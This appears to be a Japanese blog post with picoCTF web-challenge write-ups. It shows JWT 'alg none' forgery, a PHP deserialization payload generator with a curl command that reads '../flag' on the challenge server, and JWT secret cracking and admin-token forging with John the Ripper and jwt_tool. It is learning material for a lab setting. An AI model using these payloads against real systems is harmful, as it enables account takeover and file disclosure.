投稿日: 7/15/2025
Most web application developers use third party components without testing their security. Some of the past affected companies are: Equifax (a US credit bureau organization) - breach due to unpatched Apache Struts web framework CVE-2017-5638 Mossack Fonesca (Panama Papers law firm) breach - unpatched version of Drupal CMS used VerticalScope (internet media company) - outdated version of vBulletin forum software used Can you identify the components and exploit the vulnerable one? The website is running here. Can you become an admin? You can login as test with the password Test123! to get started.
テスト用の認証情報が提供されています。
ログインすると、トークンが発行されます。
とりあえずBase64デコードしてみる。
下記がペイロード部分でしょうか。
{"typ":"JWT","alg":"HS256"}{"auth":1752587288777,"agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0","role":"user","iat":1752587289}
問題文から察するに、脆弱性(CVE)を特定してエクスプロイトしてみる必要があると考え、調べてみますが有力な情報は見つからず。
jsonwebtokenで発生したCVE-2022-23529が有名らしいですが、形式が違うしなぁ...。
参考:https://unit42.paloaltonetworks.com/jsonwebtoken-vulnerability-cve-2022-23529/
{"alg" : "none"}
ギブアップ。
参考:https://qiita.com/akinosora501/items/58247a6a7a5ec680a0a3
{"alg" : "none"}
雑に検証せずにJWT Debuggerを使うべきでした。
反省。
Try to recover the flag stored on this website http://mercury.picoctf.net:5428/
ログインフォームと、すでにCookieにPHPSESSIDがセットされています。
SQLiもだめ、取得しているコンテンツにも特に情報なし、
/robots.txt
ギブアップ。
参考
https://github.com/Tecatech/picoCTF-2021-writeups/blob/master/Web%20Exploitation/Super%20Serial/README.md
https://blog.tokumaru.org/2017/09/
まず、タイポなのか詳しくはわからないのですが、該当のサーバーのPHPファイルはすべて.phpsのようです。
それを踏まえて、
index.phps
cookie.php
authentication.php
各ファイルに.phpsでアクセスしてみます。
cookie.phps
注意点は、以下の処理です。
外部入力(Cookieの
login
if(isset($_COOKIE["login"])){ try{ $perm = unserialize(base64_decode(urldecode($_COOKIE["login"]))); $g = $perm->is_guest(); $a = $perm->is_admin(); } catch(Error $e){ die("Deserialization error. ".$perm); } }
authentication.phps
注意すべき処理は以下です。
class access_log { public $log_file; function __construct($lf) { $this->log_file = $lf; } function __toString() { return $this->read_log(); } function append_to_log($data) { file_put_contents($this->log_file, $data, FILE_APPEND); } function read_log() { return file_get_contents($this->log_file); } } require_once("cookie.php"); if(isset($perm) && $perm->is_admin()){ $msg = "Welcome admin"; $log = new access_log("access.log"); $log->append_to_log("Logged in at ".date("Y-m-d")."\n"); } else { $msg = "Welcome guest"; } ?>
まず、cookie.phpをインポート、つまり上述の外部入力をデシリアライズする危険な処理をauthentication.phps内でも実行できることになります。
そして、access_logクラス内のログファイルを読み取る処理が利用できそうです。
public $log_file; function __construct($lf) { $this->log_file = $lf; } function __toString() { return $this->read_log(); } function append_to_log($data) { file_put_contents($this->log_file, $data, FILE_APPEND); } function read_log() { return file_get_contents($this->log_file); }
最終的にフラグを取得する処理の流れとしては、以下のPHP処理を実行して、../flagを読み取るaccess_logクラスをシリアライズした値を取得します。
<?php // authentication.phpsと同じクラス class access_log { public $log_file; function __construct($lf) { $this->log_file = $lf; } function __toString() { return $this->read_log(); } function read_log() { return file_get_contents($this->log_file); } } // ペイロード生成関数 function generate_payload($target_file) { $malicious = new access_log($target_file); $serialized = serialize($malicious); $base64 = base64_encode($serialized); $payload = urlencode($base64); echo "Target file: " . $target_file . "\n"; echo "Serialized: " . $serialized . "\n"; echo "Base64: " . $base64 . "\n"; echo "Final payload: " . $payload . "\n"; echo "---\n"; return $payload; } // 様々なファイルのペイロードを生成 $payloads = [ "../flag" ]; foreach ($payloads as $file) { generate_payload($file); } ?>
取得した値をCookieの
login
curl -H "Cookie: login=TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9" http://mercury.picoctf.net:5428/authentication.php
これでフラグが出力されます。
サーバー側では、受け取ったCookieの
login
シリアライズした値はaccess_logクラスなので、例外処理されて
die("Deserialization error. ".$perm);
die関数で、文字列として出力しているのですが、ここで重要な点があります。
toString関数はaccess_logクラス内でオーバーライドされており、$log_fileの内容を読み取る処理につながります。
つまり、die関数の引数でデシリアライズされたバイナリに対してオーバーライドされたtoString関数が実行されることにより、../flagの内容が出力されるという流れになります。
cookie.phps内の処理でなぜaccess_logクラスの__toStringが参照されるのかはわからないので、検証してみようと思います。
Check the admin scratchpad! https://jupiter.challenges.picoctf.org/problem/61864/ or http://jupiter.challenges.picoctf.org:61864
admin以外の任意の名前を入れて送信すると、スクラッチパッド?の入力画面に遷移します。
その際、JWTトークンも発行されます。
形式は一般的です。
user
alg
ブラウザでセットしてリロードすると、エラー画面になってしまいました。
他にもいくつかトークンを試してみましたが、ダメなのでギブアップ。
参考:https://mh4ck3r0n3.github.io/posts/2025/03/01/jawt-scratchpad/
John the Ripperを使うようです。
発行されたトークンをそのままJtRにかけると、秘密鍵が特定できました。
あとは、
user
admin
jwt_toolというCLIのツールを使用します。
python3 jwt_tool.py "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYSJ9.Wpx3_bxlH3-Q8LDfbdaCP3ML7bAdosK4mAHRXhDmhug" -S hs256 -I -pc user -pv admin -p "ilovepico"
生成されたトークンをブラウザにセットしてリロードすると、フラグがゲットできます。
まだコメントがありません